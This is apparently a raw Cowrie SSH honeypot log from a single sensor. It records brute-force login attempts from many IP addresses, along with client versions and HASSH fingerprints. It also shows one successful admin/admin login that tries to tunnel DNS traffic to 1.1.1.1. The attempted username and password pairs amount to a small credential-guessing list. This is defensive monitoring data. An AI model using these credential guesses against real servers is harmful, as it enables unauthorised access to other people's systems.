{"eventid":"cowrie.login.failed","username":"root","password":"31011982","message":"login attempt [root/31011982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:30:22.565960Z","src_ip":"103.176.20.57","session":"db5a4f14dc02","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:30:22.701795Z","src_ip":"176.53.159.196","session":"5ebe16f723dc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"176.53.159.196","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:30:22.801682Z","session":"5ebe16f723dc","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:30:22.898352Z","src_ip":"176.53.159.196","session":"5ebe16f723dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:30:22.996019Z","src_ip":"176.53.159.196","session":"5ebe16f723dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:30:23.281478Z","src_ip":"91.92.40.176","session":"4e7e2d5262cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:30:23.806354Z","src_ip":"103.176.20.57","session":"db5a4f14dc02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.72.55.130","src_port":43576,"dst_ip":"10.17.0.5","dst_port":22,"session":"094bedcbe727","protocol":"ssh","message":"New connection: 61.72.55.130:43576 (10.17.0.5:22) [session: 094bedcbe727]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:30:29.119735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:30:29.123688Z","src_ip":"61.72.55.130","session":"094bedcbe727","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:30:29.322413Z","src_ip":"61.72.55.130","session":"094bedcbe727","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fsociety","message":"login attempt [root/fsociety] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:30:30.179908Z","src_ip":"61.72.55.130","session":"094bedcbe727","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:30:31.384712Z","src_ip":"61.72.55.130","session":"094bedcbe727","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.70.102.114","src_port":53640,"dst_ip":"10.17.0.5","dst_port":22,"session":"3620641e581d","protocol":"ssh","message":"New connection: 154.70.102.114:53640 (10.17.0.5:22) [session: 3620641e581d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:30:39.910502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:30:39.917037Z","src_ip":"154.70.102.114","session":"3620641e581d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:30:40.126161Z","src_ip":"154.70.102.114","session":"3620641e581d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Rp123456","message":"login attempt [root/Rp123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:30:41.000134Z","src_ip":"154.70.102.114","session":"3620641e581d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:30:42.213754Z","src_ip":"154.70.102.114","session":"3620641e581d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":44306,"dst_ip":"10.17.0.5","dst_port":22,"session":"72a912935315","protocol":"ssh","message":"New connection: 103.153.68.219:44306 (10.17.0.5:22) [session: 72a912935315]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:30:43.982095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:30:43.985869Z","src_ip":"103.153.68.219","session":"72a912935315","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:30:44.233819Z","src_ip":"103.153.68.219","session":"72a912935315","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kjubyjdf","message":"login attempt [root/kjubyjdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:30:44.980189Z","src_ip":"103.153.68.219","session":"72a912935315","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:30:46.230995Z","src_ip":"103.153.68.219","session":"72a912935315","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"208.109.189.255","src_port":36392,"dst_ip":"159.203.135.109","dst_port":22,"session":"055575604381","protocol":"ssh","message":"New connection: 208.109.189.255:36392 (159.203.135.109:22) [session: 055575604381]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:30:50.425650Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:30:50.429577Z","src_ip":"208.109.189.255","session":"055575604381","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:30:50.500710Z","src_ip":"208.109.189.255","session":"055575604381","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"F3t$M@st3r#P@ss","message":"login attempt [root/F3t$M@st3r#P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:30:50.697247Z","src_ip":"208.109.189.255","session":"055575604381","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:30:51.764769Z","src_ip":"208.109.189.255","session":"055575604381","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.202.230.81","src_port":40170,"dst_ip":"10.17.0.5","dst_port":22,"session":"176ac3fca3cd","protocol":"ssh","message":"New connection: 213.202.230.81:40170 (10.17.0.5:22) [session: 176ac3fca3cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:31:14.716655Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:31:14.721114Z","src_ip":"213.202.230.81","session":"176ac3fca3cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:31:14.814914Z","src_ip":"213.202.230.81","session":"176ac3fca3cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"harvest456","message":"login attempt [root/harvest456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:31:15.097084Z","src_ip":"213.202.230.81","session":"176ac3fca3cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:31:16.192931Z","src_ip":"213.202.230.81","session":"176ac3fca3cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.70.102.114","src_port":39498,"dst_ip":"10.17.0.5","dst_port":22,"session":"c3c5f1729044","protocol":"ssh","message":"New connection: 154.70.102.114:39498 (10.17.0.5:22) [session: c3c5f1729044]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:31:20.648888Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:31:20.655971Z","src_ip":"154.70.102.114","session":"c3c5f1729044","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:31:20.864544Z","src_ip":"154.70.102.114","session":"c3c5f1729044","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password@2026","message":"login attempt [root/Password@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:31:21.737094Z","src_ip":"154.70.102.114","session":"c3c5f1729044","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:31:22.948717Z","src_ip":"154.70.102.114","session":"c3c5f1729044","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.34","src_port":46900,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e5a3cc8427c","protocol":"ssh","message":"New connection: 154.16.115.34:46900 (10.17.0.5:22) [session: 9e5a3cc8427c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:31:38.817934Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:31:38.821895Z","src_ip":"154.16.115.34","session":"9e5a3cc8427c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:31:38.847409Z","src_ip":"154.16.115.34","session":"9e5a3cc8427c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kazakhstan","password":"Astana#Crypto$S3cur3!","message":"login attempt [kazakhstan/Astana#Crypto$S3cur3!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:31:38.925804Z","src_ip":"154.16.115.34","session":"9e5a3cc8427c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:31:39.953035Z","src_ip":"154.16.115.34","session":"9e5a3cc8427c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.129.208","src_port":34184,"dst_ip":"10.17.0.5","dst_port":22,"session":"3eec0f4357be","protocol":"ssh","message":"New connection: 162.241.129.208:34184 (10.17.0.5:22) [session: 3eec0f4357be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:31:42.589277Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:31:42.595965Z","src_ip":"162.241.129.208","session":"3eec0f4357be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T16:31:42.619436Z","src_ip":"162.241.129.208","session":"3eec0f4357be","protocol":"ssh"}
